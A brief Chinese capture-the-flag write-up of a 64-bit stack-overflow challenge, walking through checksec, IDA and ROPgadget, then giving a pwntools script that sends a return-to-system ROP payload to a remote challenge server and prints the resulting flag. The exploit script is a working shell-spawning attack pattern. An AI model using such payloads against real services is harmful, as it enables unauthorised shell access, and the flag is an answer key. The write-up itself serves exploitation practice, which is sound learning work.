**
0、尝试打开文件,使用checksec检查保护情况
**
**
1、使用IDA 64 Pro打开文件
**
read()函数存在栈溢出,查看栈结构
**
2、构造rop链
**
Shitf+F12查找字符串
发现/bin/sh的地址是0x402004
system函数的地址是0x401050
64位程序的第一个参数在 rdi 寄存器里
使用ROPgadget工具寻找汇编指令
rdi寄存器地址:0x40126b
**
3、构造exp
**
from pwn import *
r = remote("114.67.246.176", 14821)
_system = 0x401050
bin_sh = 0x402004
rep = 0x40126b
payload = b'a' * 0x20 + b'a' * 0x8 + p64(rep) + p64(bin_sh) + p64(_system)
r.sendlineafter("name.\n", payload)
r.interactive()
**
4、得到flag:
**flag{b9afaa1a0078c540}